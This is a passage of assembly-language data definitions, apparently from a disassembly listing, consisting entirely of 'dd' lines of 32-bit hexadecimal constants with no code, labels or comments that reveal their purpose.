		dd 0BE9F00D0h, 29EF5AE9h, 0FA00F884h, 5E5F2D0Eh, 4F3E5989h
		dd 8008C947h, 0A32335ACh, 156D87EFh, 0EC371FBFh, 2F38224Ah
		dd 166556C0h, 37286C4Ch, 8B7918D0h, 0BF1C19B8h,	13A892E8h
		dd 80BDDFh, 4247A48Bh, 35E20630h, 0C91CEF4Ch, 0C0485C36h
		dd 0B335462Ch, 3FF3A600h, 47EBF563h, 4B1900A2h,	56E9D8AEh
		dd 2912F116h, 0D412BF17h, 59248909h, 0DF46034Ch, 110FD4E8h
		dd 8231C658h, 0DCA6AE9Eh, 0B7CB62CCh, 4495A850h, 0D244000Ch
		dd 78E1C2B0h, 2A0E7038h, 406A79A8h, 896546C5h, 4921A34h
		dd 0D8DA50D2h, 4A25317Ch, 1050736Dh, 0C7918B96h, 381810E4h
		dd 85093DB5h, 2E8A8F2Bh, 705064B6h, 3E880245h, 46C40ED0h
		dd 380E8F1h, 6AE92F63h,	4F300033h, 2E9C3E78h, 0B5F48114h
		dd 1F28A095h, 2D7E8Fh, 0D084965Eh, 0D7797537h, 703A5303h
		dd 0E8F29DD1h, 592AA45Ch, 385BA0B7h, 8E8152C4h,	4D27F033h
		dd 7F94AE61h, 78C53038h, 3E767FFEh, 0A4517539h,	13A9D848h
		dd 28998193h, 0A6445824h, 2D052731h, 2100B064h,	0CDB2E49Eh
		dd 52A4677h, 8138BC91h,	4FA880E3h, 0F702BE21h, 6EB5C8A9h
		dd 0A0B0E312h, 12FFC695h, 0FF6658A8h, 94318A0Ah, 59BDEB00h
		dd 240690A5h, 8B4CF321h, 158BD681h, 0E8052C44h,	8EFAAD26h
		dd 0E9904CB0h, 4A9CE4F0h, 1854D227h, 14E8B524h,	9B031622h
		dd 0BEB0132Eh, 9050E24Eh, 0F6404A8h, 585230ECh,	0AEAC5583h
		dd 0D534100h, 9CE37821h, 37301751h, 9BFC0809h, 83A31880h
		dd 4C6F7CEAh, 0C3101067h, 0A0576D0h, 6369ED8h, 0D1C954D3h
		dd 253BDE2Eh, 800CE8C0h, 0C7DDD67h, 640AF827h, 561A38C0h
		dd 0C7BEC035h, 194B2001h, 6C1FB959h, 0A140D656h, 5C51C87Dh
		dd 20AF144Dh, 3F0B501Eh, 2B8067BDh, 3BB72B62h, 5BCB6E16h
		dd 611B100Dh, 0E000C007h, 0A49895DAh, 0A1EB16FCh, 8E5030B7h
		dd 76070F68h, 8612F527h, 7BA17570h, 9CEE0060h, 5CAC4D2h
		dd 9099BE1Ah, 471818A7h, 79280988h, 98ABBE54h, 2602C071h
		dd 10D1E849h, 0B01201C0h, 64F2AF36h, 0CF1420Fh,	0E3AEE0C0h
		dd 0C314ED3Bh, 130B0C7h, 0C6C4A6FBh, 0DC277A73h, 7F81E23Ch
		dd 0FE2851EBh, 6CB0F9CAh, 0CBC98038h, 282FAFC5h, 5F8CF60Ah
		dd 83BC91C2h, 80E4149Bh, 2D905AA6h, 0E5944398h,	0F088394Bh
		dd 4CC1006Ch, 8FF8D4EEh, 8901BB56h, 687F23ABh, 303A72FDh
		dd 0B1366778h, 700B8A6h, 0EFD4183Bh, 3F0163F6h,	56826E64h
		dd 361FC054h, 0AB2B4C81h, 986E7018h, 388C90B7h,	121C3ED7h
		dd 6C253600h, 8DA916A2h, 8B5E1476h, 5EA6F888h, 8D44208Ah
		dd 59002AF9h, 0BCAB5EFDh, 0A637B6B3h, 35D81EE8h, 9B82822Ah
		dd 0A0440689h, 1C818026h, 8C293751h, 42C4C84Bh,	44EB1C00h
		dd 0B6F91135h, 8D591E5Eh, 54D05EE1h, 0FF84BC1Dh, 0E8CF5DAEh
		dd 0C9696049h, 983790h,	99A29767h, 0A4594F2Ah, 29510E00h
		dd 1C785D2Bh, 36E127FFh, 0C100A470h, 11AA6654h,	3289EDF5h
		dd 48972B9h, 541C05Eh
		dd 64487D06h, 308A805Eh, 0FF6F9709h, 0FD900762h, 127A2981h
		dd 0B7018832h, 0BA23E955h, 0D67EC42Ah, 11028125h, 0DC732158h
		dd 38C79D00h, 2B686789h, 8A4DB612h, 0F7803CECh,	0C05C918Bh
		dd 0B0000BF8h, 767958C7h, 4BB228DFh, 9AC0B430h,	0C048F348h
		dd 8A959B88h, 4EB63ACAh, 6AFF310Ah, 0B8DB1240h,	6B1CC8C0h
		dd 599AF4E0h, 9B362Ch, 6CFCB544h, 0F8B01A88h, 3D4DAFCh
		dd 36968A68h, 0DC86E0Ah, 1E0EC65Eh, 806BB55Fh, 4EC5EA63h
		dd 0F54B0354h, 0FB42401Ah, 0C64C2680h, 103D3307h, 81A5DB27h
		dd 0F3A57CB8h, 44582D48h, 0C5C40088h, 0ED6A0C18h, 67719EB9h
		dd 0A8E6B301h, 3B4343Dh, 0A0B7A092h, 0DE8AB144h, 0DB3B80C8h
		dd 5190CAD4h, 0C0C33800h, 6F4E53E2h, 64D4989Fh,	0BCDB314Ch
		dd 0DF2A80D0h, 0B8FE9532h, 79DA2D0Ch, 48C48018h, 0A73B7F3Fh
		dd 4434CCC9h, 0F33DA008h, 77250042h, 28D86FD3h,	0FBBD07CDh
		dd 9027A726h, 0A6D72AFAh, 16223498h, 94FF211Ah,	5BA5901h
		dd 216F086Ch, 12AEB788h, 756E2095h, 4F5F8471h, 0E52E700Bh
		dd 0EE9700E4h, 74234686h, 0B5BBC100h, 73DB0395h, 0E0260290h
		dd 6EDC4CFFh, 0C40838FEh, 0FEC99CD0h, 1160B1F4h, 20E24AFCh
		dd 0EC320075h, 8DEF27D5h, 0F2006A0Dh, 4D431E21h, 1C2DDB3Fh
		dd 963852A2h, 17A80840h, 0D4030485h, 0D427BC22h, 88995044h
		dd 95173Ah, 0A4910408h,	726E4E3h, 282AA762h, 0E8AB1FF0h
		dd 33AC6431h, 18E34E1Ch, 9EC58201h, 0E8B793EBh,	9913DB18h
		dd 54E7AB51h, 0FCE9C42Dh, 342A10A5h, 0DCF8486Eh, 610D3518h
		dd 22EF48C9h, 38883A34h, 37017827h, 0C1A253B6h,	8C709EB3h
		dd 0C9BD12E7h, 0CB10FC99h, 54301101h, 19801462h, 0BF6CA4BBh
		dd 61F54E00h, 4970DD4Fh, 5CCE70C1h, 0EB00A82Ah,	6431ABF8h
		dd 0D4F21D51h, 2E48C200h, 4A7F8B0Ch, 97230F9Bh,	8D00D6E1h
		dd 7B29A304h, 0E38C5300h, 51A44C6Eh, 91089973h,	201127ACh
		dd 728CF980h, 79100057h, 0FB191B2h, 9600B907h, 0F0048FCBh
		dd 0B54DB0CFh, 6B5A7422h, 0AF9E1E22h, 0CE0C40BCh, 0D63234h
		dd 4D134A85h, 7A267DDCh, 170E9D09h, 784FA46h, 0F17283C8h
		dd 58828962h, 14570659h, 0B4E49560h, 907CACF2h,	0C90A5C7Ch
		dd 187527DAh, 0F0BC1B13h, 531CDFA0h, 79EC2300h,	0E8BD6BD6h
		dd 0BA7F0035h, 30A71DD1h, 144E49F9h, 4B4BC88h, 833E8716h
		dd 0D6F17085h, 9BFB0039h, 0C0B148A3h, 93029F29h, 0FF5011A6h
		dd 469862C5h, 0BB5300F8h, 0D082323Dh, 0C102D850h, 4E672C7Fh
		dd 0FA471F0h, 0E56F3ACEh, 39B0AC00h, 129DE2DBh,	81C8C1F4h
		dd 2FF44D10h, 8286343Dh, 0BF439733h, 1180D45Ch,	20501EE1h
		dd 5BFD8D03h, 0D85181AEh, 541155C7h, 8E005C72h,	0F26D0C43h
		dd 0E74B5531h, 0BC0E45E0h, 0C8AE11FCh, 0CE5800Ah, 44BF06FDh
		dd 0C6BD312Dh, 0C45F00B8h, 0C172A501h, 0CF446748h, 8D900029h
		dd 17315F4Ah, 0B85030CBh, 0A63FB008h, 6AB9224h,	9006CA6h
		dd 0F1630789h, 551EC328h, 198E0640h, 0B7CE0BFh,	3F339Bh
		dd 61B5D6A6h, 0DEA7C09Ch, 80F9593Ch, 983B86FCh,	41463EFh
		dd 9CBF4E90h, 8088F22Ah, 0BAB62250h, 361000Bh, 0C0E8D35Dh
		dd 90B57CEEh, 1F8B5198h, 533953B1h, 0A3680013h,	0FA46D333h
		dd 2CB93F00h, 3A50B67Dh, 0AFC3276Dh, 0FD00D0D1h, 9AB799ECh
		dd 51C83955h, 0F7E2A600h, 80C6FB5Dh, 6E609097h,	446C008Eh
		dd 0E799A624h, 0BF393D4Dh, 1EB080FDh, 0C2E866D0h, 4C4CC32Bh
		dd 67BF7A42h, 6CF94015h, 0FD2C2488h, 0B50F2DC9h, 0A534C0B1h
		dd 403C50E3h, 6E0072B9h, 0A396DC05h, 1DB46877h,	25C1D26Fh
		dd 4E00E071h, 0C8A99507h, 0E9FF0FEAh, 813EC471h, 182D7744h
		dd 24712E6Dh, 223B2450h, 895FC7D0h, 59C88908h, 75FC0008h
		dd 0D02C6601h, 1B2DB500h, 0F2905FC1h, 5057029Bh, 16E0589Ch
		dd 19094459h, 6DF4E886h, 177FC08h, 58FF29EBh, 0D8A73B81h
		dd 2CB060B7h, 0F0B51481h, 5274FCF5h, 1D902A05h,	0E8048A56h
		dd 0AD12B758h, 0A5E38054h, 0F4B8B62h, 16D0E9D9h, 81DF8A04h
		dd 40FCD220h, 8B61110Ch, 68272404h, 3EE30FEh, 0CFFF2F44h
		dd 0B8DE9CBAh, 0A086F44h, 3940C427h, 1C0BAECFh,	1A5E7CF8h
		dd 0D6F5B001h, 0EDFC3E05h, 0B61112F7h, 80F4ECE9h, 3FA7BF7Bh
		dd 0ADE000C3h, 58366081h, 4E12D594h, 8CACD9C0h,	0AC131822h
		dd 0F4901347h, 71D77555h, 64F400CFh, 45AE9249h,	6C90A65Fh
		dd 4490801Eh, 0B8C08A18h, 179F4330h, 18A4B5A0h,	0BF6A7459h
		dd 89D9D890h, 0A4A95A00h, 0C183745Ch, 809600FDh, 23AFF35Dh
		dd 0D4967CE9h, 662BC840h, 17D6030Fh, 0C51978A5h, 0AA9Dh
		dd 96675B97h, 8A3C01BDh, 0AA9186B9h, 80A47CCAh,	80448870h
		dd 2F933B4Ch, 0D8EE1809h, 5825D87Eh, 8AC64404h,	44B02C03h
		dd 98B73402h, 9F07036h,	81DABD06h, 9D022C71h, 5D227C89h
		dd 9C631090h, 3C665600h, 0DE553A95h, 98EC07A5h,	70A38517h
		dd 88EA4EEDh, 690419Dh,	7C3C16C5h, 0D02CC25Fh, 0A698DA23h
		dd 25EDE0B9h, 280BA030h, 29007465h, 0FA06FF58h,	39E21C8Ah
		dd 371040E4h, 1590879Eh, 0E8406B7Eh, 0EBCB0905h, 44A4A9EAh
		dd 82B040A5h, 419924h, 3255FE1Ch, 0BCF3472Bh, 8AB2BB00h
		dd 4F2C86A4h, 95DE2E93h, 0D2A09358h, 902A9A34h,	10219307h
		dd 9812CBC7h, 0A65E22DEh, 0F4FBDA22h, 328A45CCh, 0FF20DD48h
		dd 8C926Eh, 0E3B349B0h,	6422E17h, 746640AAh, 7099DC01h
		dd 4417F0F5h, 8C3FEF61h, 0EF001A64h, 88DC308Fh,	172CEBAh
		dd 0D10FD6EDh, 7A3BAFD8h, 0A6B21C20h, 1DF20144h, 0C910DB2Dh
		dd 0CC98841h, 134D04ADh, 496940D9h, 2E477AFh, 841F4F3Dh
		dd 689A300Bh, 7A603CF4h, 720FD8BFh, 0EF11003Fh,	0BE96AF5Ah
		dd 6E4D8102h, 84AE0528h, 0FCA27CF4h, 6A006138h,	5BBE07F1h
		dd 6C245E02h, 0DA0958A9h, 1264C499h, 1698E541h,	0CC64C9FEh
		dd 0AF16DB07h, 830147F7h, 515EA0A8h, 1C22470h, 1F6403Ch
		dd 0A795CE2Eh, 39D87811h, 0FC584E12h, 0B9549780h, 0CC7FB869h
		dd 576D6500h, 798A3ACBh, 1B47B48h, 30EA6405h, 3AB25299h
		dd 0F41EC484h, 0AB8408h, 3EA1B3FDh, 450471D5h, 0F8EE030Eh
		dd 5CBCA980h, 816F36CBh, 0C830E0F8h, 0C5C61871h, 0D512001Ah
		dd 67587A28h, 6A2E5283h, 5D1CE857h, 0A2415640h,	451CDD3h
		dd 0E0E70C6Dh, 4812EA1Bh, 57C5B504h, 0D6F803EEh, 4008C085h
		dd 3C71EDABh, 0C56F290h, 19C20282h, 999A03FFh, 0FACEBCB6h
		dd 8F34EEE0h, 835CB8A0h, 0A82ACB30h, 157EF65h, 9AF82B13h
		dd 0C1B7B0D7h, 2E5A317Dh, 0CE88419h, 8720801h, 3E2F42A0h
		dd 0B788434Ch, 7065E204h, 0C8075F42h, 0E59CDB00h, 10A78F68h
		dd 3E5F2ED4h, 8E0F64BFh, 6BE761E8h, 0DBFBD1ECh,	1110855h
		dd 0FF9F3249h, 3FEA5EC5h, 900544DCh, 4480BA05h,	487DEAE1h
		dd 80B52438h, 5593A832h, 4087EDh, 0C36A423Ch, 8D36A5B7h
		dd 0C00B5B2Eh, 0B22A1503h, 0FF28A95Eh, 0AD9020h, 4846E986h
		dd 98CE9E58h, 1601189Eh, 867E536h, 0B9F3BC40h, 987CF078h
		dd 98AEFAF4h, 625010DCh, 4A90508h, 203C2F9Bh, 485D461Ah
		dd 0F627C134h, 5DC471Ch, 0DF24025Eh, 64D08BAh, 46407CDCh
		dd 48E6565Bh, 0F67F0023h, 81161C8Eh, 22FDC5ACh,	0D69B80FFh
		dd 124C33B5h, 0C60783E0h, 0D3EDD073h, 5D2407A7h, 70CFF379h
		dd 8665AD9Fh, 758070B4h, 0FF2CF032h, 0D5D70421h, 86D6D996h
		dd 5A002196h, 0EABEF04Ah
		dd 0FF69427h, 0CA347808h, 0C1320904h, 91A7F21Ch, 33806C59h
		dd 29FF2BF0h, 0BB6F448Ch, 27F04B00h, 59951B11h,	8B18027Bh
		dd 0DB90CBF9h, 8A4D088h, 30016E89h, 0F60E1B3Dh,	3FCD2461h
		dd 5D3C033Bh, 80029763h, 0E661B3Ch, 0B045A09h, 0ABDEB8ADh
		dd 0CAF02CF2h, 4DD92B09h, 2440D432h, 0AD083437h, 207C00BCh
		dd 371D21D9h, 2D7B4Dh, 1A06B4A4h, 0FEDCD327h, 4CAC98C7h
		dd 330076D4h, 0A584B597h, 328B150Ch, 14B780EDh,	8C9E536Ch
		dd 0DF64AB81h, 80108282h, 0E0C2386Dh, 1B6317Fh,	8366F76Fh
		dd 0D02C350Bh, 0E3006E54h, 159159AFh, 0FD7A3Eh,	0D046F80Fh
		dd 983F55DDh, 0E3004AEEh, 0E99F51F9h, 0D420DFh,	728F77A9h
		dd 668835E0h, 0BC60780Fh, 0ADC8A00Bh, 5A3C55h, 0CD349A59h
		dd 6F956B22h, 0F07FA500h, 9D62CF90h, 2D0B0008h,	0A8682B9Fh
		dd 170D4327h, 384123F5h, 3813D0h, 0D7F4FEB1h, 943AC46Ch
		dd 36F99E00h, 0BCF61CEAh, 0EC60C03Fh, 0D759DA45h, 53736700h
		dd 239BF4EDh, 205A60C0h, 8148A041h, 6454CB00h, 96D4FAB5h
		dd 80761043h, 0D15900ABh, 4F78C9F2h, 311D0085h,	0EB21F857h
		dd 7C007443h, 763A6139h, 0C7FFD8h, 0B5A25EDCh, 0F4934207h
		dd 0DEBB3Eh, 0BD278E4Ch, 0F55FDB7Fh, 0C9A0D080h, 0DFA66336h
		dd 2B309C7Ch, 0F5DE18AFh, 73D80038h, 59C61B99h,	65012C1Dh
		dd 5A330EF9h, 0EAD023A4h, 89CD0031h, 3AAB4903h,	81000A99h
		dd 0F861098Fh, 448117Bh, 0E175FE1Dh, 0CD2E0080h, 1CBD5B65h
		dd 704121Bh, 401413h, 83238F8Eh, 0E6816101h, 1936DD02h
		dd 87DFCE8h, 80F0530Ah,	0C7159501h, 0E7D728BAh,	458167B7h
		dd 8EF41EA4h, 0CD010110h, 0E19CB09Ah, 7CD3DF09h, 8899E088h
		dd 5139E300h, 443447Bh,	1887F082h, 80D1145Bh, 53304C1Ah
		dd 8B811833h, 99E16069h, 65922C06h, 68CA4C32h, 0B94B4374h
		dd 40D402D3h, 7C533D8Eh, 8D0FA060h, 9C33AA09h, 0F15581F2h
		dd 58BA1FE7h, 4BA3C680h, 4C8F836Ah, 18118B31h, 1DFC9D2Bh
		dd 8E1B0FB2h, 0A1032F39h, 1AC1B5E6h, 0B8E43099h, 0A478FA68h
		dd 65670105h, 48025884h, 10D1176Eh, 0F940587Bh,	75561401h
		dd 760CCCB7h, 17E818E9h, 0F0C42A46h, 4DC039BCh,	0F4150390h
		dd 789536D9h, 8C9A31D9h, 0F1FB7968h, 0A0DE1BC0h, 0C4C0A9E1h
		dd 991DB841h, 803E5579h, 4BDAFE2Ch, 0F530CAh, 2142BC01h
		dd 0BE5EE6D5h, 0B8F79900h, 352DA0B1h, 0E129C8DBh, 0AF14B080h
		dd 3C0E9E8Eh, 1E0EA0BDh, 0D209CA9h, 16B5A3C0h, 8D9AAB00h
		dd 6A76F604h, 78F33032h, 3765DD09h, 6CE0F000h, 8C510A4Ch
		dd 8999012Bh, 489263CFh, 0DA9AE082h, 0E9E6BF00h, 1A9C2984h
		dd 0DF993FC9h, 44B0B80h, 31564FC6h, 1F0F8F03h, 87FC2DD8h
		dd 0FE17EB51h, 0FDEBAE4h, 0B5DBB782h, 0D867921h, 0C4DD218Ch
		dd 0DF002B53h, 1CBA4BFh, 3A439Ah, 0A3B4A57h, 0B65405Eh
		dd 0BE022CE6h, 8A5F45FAh, 0F7A081A3h, 4840AAE2h, 0E279FF06h
		dd 0B2C900E4h, 0ED80017Ah, 47005162h, 28BD3336h, 0F90C19h
		dd 0A627FE1Eh, 0FB739737h, 0EA7CF200h, 0FA4E477Bh, 9BED03AAh
		dd 0C3F6E091h, 79BEA000h, 0BB5CFF59h, 3A5607CFh, 8D6F9E83h
		dd 0B58EDC80h, 0DD04F90Eh, 5B51038Fh, 36B1E1E3h, 66DAFCh
		dd 0FC40C2Eh, 0AFC0CBB5h, 37330700h, 94F4DB26h,	7DC50057h
		dd 6FDB705h, 2D009892h,	0CF0B4680h, 0EF4D7Ch, 0C299EDC1h
		dd 5F7AD982h, 3BBD7700h, 0A3F93DF7h, 0F2209057h, 0A27FB4h
		dd 88B12AACh, 74A522B6h, 802BAA3Eh, 0A6BABB85h,	28A376h
		dd 5A6CD5F6h, 6284B3D9h, 67DEF100h, 86BBD655h, 0A8910038h
		dd 0E98E4D4Bh, 7500ACDBh, 818368C3h, 3EEE3F94h,	0A40FBE4Eh
		dd 0D0E01DAEh, 0EC7738E3h, 0F0360400h, 0F54870E4h, 85A30075h
		dd 5C2BFA49h, 0E200011Ch, 4E8CCB5Bh, 7DB90A7Ch,	67360087h
		dd 310B6C68h, 0B30006A9h, 0CDC75CBFh, 3291C1h, 0A0BBB2F8h
		dd 2B95AFC4h, 9DCC2000h, 8BBC101Bh, 0CA1E3F29h,	0BB0D1A86h
		dd 0B1002093h, 0FDDDDE7Fh, 0F1E557h, 0D2C241FBh, 0E9EE54FEh
		dd 0E143F900h, 8EACB263h, 746B047Dh, 8097BD1Eh,	3589C3B3h
		dd 0D7E51D00h, 0DB59A30Ch, 16EC07CFh, 8F312942h, 20F5C387h
		dd 36E1BF25h, 0BE45A500h, 673FB2D1h, 0D00B0197h, 137CC9FEh
		dd 536196h, 853395D0h, 76002979h, 5047C5E0h, 755518h, 3E3A3BDDh
		dd 0C479045Fh, 15772C00h, 0F69596A4h, 5E8A009Ah, 0FD76F103h
		dd 0E47B73A2h, 0E3ACA107h, 6F0046FAh, 3ACD5Eh, 0D181D5AFh
		dd 0EF1ACFD2h, 14A35F1Fh, 0E2C3CE40h, 60FC875Ah, 0D2B0117Fh
		dd 0D0000296h, 0D56B8D51h, 0A0F1C61Fh, 18241B4h, 0A49983DCh
		dd 20E95F2Bh, 0D1FE308Ch, 0DB6B3Eh, 18856041h, 0ECFBA43h
		dd 30CD74E9h, 0B9CC5E40h, 3B003F12h, 0E2481432h, 0C2A1F72h
		dd 9195E1F7h, 0C106D430h, 0B9DF1EE0h, 76443070h, 0F02C28F0h
		dd 0F340C060h, 0EF6CEC9h, 0E913C3F2h, 0B61C34A0h, 6F00E578h
		dd 105C40C2h, 5DECBFh, 0DC6C3E90h, 0FCD9047Fh, 59C9E300h
		dd 4ACF855Ch, 0D18A0093h, 55746352h, 0BC033726h, 0D95822B0h
		dd 0F7C0C4CFh, 0CCF453h, 0DE6A4070h, 0D3B259BAh, 5B7AC107h
		dd 0A89CF2F3h, 6AD5006Fh, 5ADD8B60h, 0CB007B50h, 0E0895E68h
		dd 607A4D59h, 3F7020D3h, 0BD009C1Dh, 0BBB02417h, 910201h
		dd 0A82D14BEh, 222103B9h, 8F6CF312h, 5D344002h,	0C6F200FDh
		dd 0FB005080h, 0DC446DCDh, 380AE97Ch, 7D8F52EBh, 64E107CCh
		dd 87AD8137h, 299E3030h, 334F1940h, 1F3A7E04h, 827E8822h
		dd 3EA3D3DBh, 0F9CBE080h, 2A000A6Eh, 0A742C3D0h, 0F43945A0h
		dd 4BF200D9h, 8CBA8F0Eh, 0EC0022B3h, 34DF70C5h,	510804Ah
		dd 4F4E1E83h, 0FFB800BDh, 7F5079D1h, 0C5C25816h, 5FE06400h
		dd 97FA1Ch, 716A9226h, 47704246h, 9F1C674Ch, 75380BE2h
		dd 0B0840440h, 65A8902Dh, 0E624709Ch, 0AE008CCDh, 75E412C8h
		dd 9424005Ah, 0A2868139h, 3402A607h, 884608B2h,	519C40E5h
		dd 5A640017h, 0CC1E102Ah, 55002EBAh, 29C523B7h,	97FCEBh
		dd 0DDC45ACEh, 8C2A81CDh, 0F3DC350Eh, 11BAE032h, 71981BE7h
		dd 0D25D00BDh, 0B27B5531h, 66744E05h, 0EE5F6E1Ch, 0A400AA96h
		dd 2A27A71Ah, 28360787h, 1C4AA02Fh, 941D1450h, 439C1FBFh
		dd 9B1F885Fh, 6AA67FC0h, 0EC73E9Dh, 874E98ABh, 13B493A2h
		dd 45C4DC68h, 82813400h, 360D9EC8h, 842600A3h, 0F39CBCBFh
		dd 2B0FA233h, 2027A483h, 4B97D353h, 0F24409E3h,	0DE8031D9h
		dd 0EF81C768h, 0E64DDD07h, 46714328h, 0E824BD99h, 0A3C9EC39h
		dd 0ECC1C4D4h, 65CD04DCh, 6F3C18D0h, 3E7D185Dh,	384CF102h
		dd 1882E13Ah, 24803145h, 1DE8343Fh, 16C433Ah, 4D3DA5D6h
		dd 0FFECDC55h, 3ED33C61h, 21119607h, 0D0E1CCB0h, 475CDD00h
		dd 223CDC56h, 7039D8D7h, 0F51FF821h, 5F005E31h,	0D8CBFE47h
		dd 3C38002Fh, 0C34B17FCh, 614DE05h, 1449645h, 1EE86DB7h
		dd 54407C3Bh, 1578ADh, 9FF8C4A8h, 0AD4FF21h, 12096EEEh
		dd 3187F91h, 0AA7BFAE4h, 56A0E0DEh, 0A5A01D7Dh,	3EE47h
		dd 87C78B1h, 0DF0011A9h, 15F0FF1Eh, 73FCE2Fh, 9984C9D2h
		dd 684390F1h, 0FB000D97h, 601058AAh, 3CE4E0Ch, 1E075B3Ch
		dd 0A972C63Ah, 38D639h,	5D0BF5F1h, 50ABAA14h, 88D1C8EEh
		dd 0C4076CDEh, 6B5B1EBDh, 42C0BC4Eh, 47531F93h,	0B848C0A2h
		dd 7BD93CD3h, 0F834AD3Fh, 100363B0h, 91833512h,	0BB700ED4h
		dd 7809244h
		dd 311C0371h, 0B5899FF5h, 95A62D80h, 0E3539Eh, 0D88AFAB4h
		dd 45876C79h, 0D598DE1Bh, 9C30AF91h, 0B069E116h, 1D57B0BEh
		dd 6EEBF11Bh, 4FAE0AFAh, 27F981ECh, 606DCA88h, 95007933h
		dd 3A45047Bh, 3C576F7Dh, 46BC43F4h, 0FACCC2Eh, 2100395Fh
		dd 140BC1E8h, 4B74BC00h, 1EBBD340h, 8E9F3C45h, 0AE304680h
		dd 0B15118F1h, 48862200h, 52CD0D09h, 147A0277h,	0C4B93D53h
		dd 45308481h, 40918059h, 19F74FEAh, 0FFB00479h,	0C0C93574h
		dd 99BA5D4Bh, 8BE26D00h, 3364059Eh, 78A30026h, 5DCE9FC5h
		dd 0FC608180h, 0F5BC1829h, 0D16E03F6h, 0A1779DD6h, 5E6E0870h
		dd 0F5B34020h, 0FAEFF0DAh, 0E2390CAFh, 4258B11Fh, 5DF7FA0Bh
		dd 62700633h, 8720C160h, 87640CC9h, 0AC5DF840h,	0B545C641h
		dd 0F3DA1180h, 0ED33B73Ch, 3B621B0Ch, 0C0DC08DDh, 3CEB7421h
		dd 0B53C0795h, 43E28136h, 0FBED15DAh, 600B12DCh, 2EE580ACh
		dd 78C17527h, 0A5C7FA6Dh, 2FB91882h, 15007A6Fh,	83997F13h
		dd 0F1618806h, 10A653h,	5054594Dh, 0E35DCDD5h, 808C243Dh
		dd 0CCE635BEh, 0E45E8Fh, 7578AC7Fh, 5368ADEAh, 0FBD2D400h
		dd 92BDE310h, 795BB8C6h, 1D78F9h, 0F8C22270h, 453B9815h
		dd 550AF400h, 0DCB1FF4Bh, 6EAE3A4Eh, 0AC823D8Eh, 94E9EB20h
		dd 0F6009E34h, 55F850A0h, 0FFFF430h, 0D122D5Dh,	960370Eh
		dd 2B35244Ah, 0BE0431D0h, 835C840Dh, 6C7A2010h,	0ABE73100h
		dd 9DD1F224h, 0FC7F25h,	40844679h, 418E3D3Ah, 2969AB32h
		dd 9F461010h, 0CD093489h, 100C1264h, 0A8899B4Bh, 63443208h
		dd 4FF144F8h, 849C9444h, 2262BC22h, 95F6F054h, 0AE087089h
		dd 5032F820h, 44672840h, 8D88E497h, 41CC00CEh, 51DCE6E1h
		dd 0C603D872h, 0CDE3EB43h, 0D0C34Eh, 9568EC20h,	87B023A1h
		dd 9E00157Eh, 0B32AA699h, 7FCFFD6Eh, 527F3994h,	77D39004h
		dd 849380B6h, 4E0087D7h, 859EDCD5h, 20DF6Dh, 72B8248Ch
		dd 0CFE791B9h, 5CEA3B2Dh, 0FF1600BEh, 0AC8F5144h, 0ED91F00h
		dd 1075F584h, 0A2710381h, 79C43913h, 3F9E3FE9h,	34DDFE0h
		dd 0AD7E9BACh, 0BCF84418h, 1B00D484h, 7959F635h, 0CD8037h
		dd 5263AA54h, 5FCE44B9h, 0A8007FF8h, 0B6F94715h, 608B5711h
		dd 1AC2706Bh, 0B012942h, 51E2B404h, 0E2603A5Bh,	0D0FE0E2Dh
		dd 15433B22h, 6C831FBh,	910024F2h, 3C1F579h, 319BAF9h
		dd 0EEADCF49h, 0E688406Fh, 6C01536Eh, 5E3E6AECh, 0E88029D9h
		dd 0B2CD720Fh, 4EFA6EC8h, 97BFDD17h, 0E18B100h,	3BD957h
		dd 1C382291h, 0EEFB4B0Ah, 6F2E4D00h, 0F121D261h, 0A1060094h
		dd 0FF05D7EFh, 7716A067h, 4B043C15h, 70904E2Eh,	0DE040Ah
		dd 0AB25828Ch, 6BD94AA6h, 8081A23Dh, 0F80EDC1Ch, 1F432A85h
		dd 5A5F73h, 21CA2458h, 0A300C791h, 0E7B7D80Ah, 95943h
		dd 26740E4Bh, 0F03AA617h, 0A8041A00h, 95D7A934h, 0E1C204EAh
		dd 803384B4h, 0FF7035B0h, 0FC43C928h, 8955170Ah, 2D00B4D7h
		dd 0FDCE08BEh, 0FA0F02Bh, 0B342928Eh, 0BDE90200h, 0B4002A49h
		dd 2C41E3C1h, 0E40705h,	0DD9A640h, 4C27840Fh, 0AEC79A03h
		dd 99FE79ADh, 1DD02A2Dh, 6F789Bh, 2732CF44h, 914B01A7h
		dd 0A36D8800h, 0E90C9F5Fh, 82840063h, 0B96ED13Bh, 0C803502Dh
		dd 1F4FE8F9h, 0CE98D18Eh, 3DF0EEFCh, 0F180189Ah, 0BB114056h
		dd 0EC0F6F3Ch, 0E065C6C5h, 79B09C58h, 56B30098h, 0D4CCD877h
		dd 5505366Ch, 902D3BA9h, 874C2A80h, 24250E85h, 0D880399Bh
		dd 0AF2384CFh, 77188800h, 4D80C0D6h, 0E3DB005Fh, 1F9867E5h
		dd 6101FC6Eh, 37B37917h, 68014AEh, 99034C3Bh, 64077BDCh
		dd 6E75DAD3h, 400ADB32h, 186E72Ch, 3FB26FF9h, 30650196h
		dd 8D04BCFCh, 1E0E2258h, 5E5A0C80h, 46700063h, 565FF3D7h
		dd 6A0F6168h, 0E6F2D64Ch, 75206055h, 0CB7003Bh,	21BD7D81h
		dd 0BB009397h, 26828A1Fh, 38919D28h, 4A80AEDAh,	7E56DCCFh
		dd 700F0B16h, 0E0D5C51Bh, 6A2AECFAh, 0F140FCBh,	4D0BE0F1h
		dd 709BAF07h, 1DCC216Eh, 0A47851h, 6CE0C794h, 6D754513h
		dd 501E1042h, 21266083h, 57B624E9h, 274C096Fh, 0FF1D9400h
		dd 7B20FEDCh, 91460016h, 0C8056C8Dh, 74722E4Eh,	0B553F800h
		dd 8BDDC05Eh, 2C5C9067h, 930407E4h, 3A4C40DFh, 3017952Fh
		dd 0A4481C0Ah, 0F900A815h, 3D1DBE59h, 637F011Eh, 66CB91C5h
		dd 0E66420DBh, 0FB923A05h, 0F2004575h, 7B177A5Bh, 1ECB0063h
		dd 9F34F671h, 6A133E4Fh, 1009FD31h, 0C3B0A74h, 0B8009513h
		dd 45C793C1h, 86D12810h, 1BE003F8h, 98B3112h, 1CA1A780h
		dd 5D622400h, 0B00B3E43h, 77B1039Fh, 32549A0Fh,	0D39BCFA8h
		dd 3E6F1B1Dh, 403049h, 0B8738FC0h, 0A09A96h, 0B6E1979Ch
		dd 9D728390h, 798A9907h, 674292B4h, 3A906062h, 0C9600078h
		dd 0C65B68A9h, 0CFEA793Ch, 0EC879F00h, 116E450Ah, 6B9B0086h
		dd 8824DF0Fh, 400B827h,	731FCC93h, 5EAF970h, 0C34983B9h
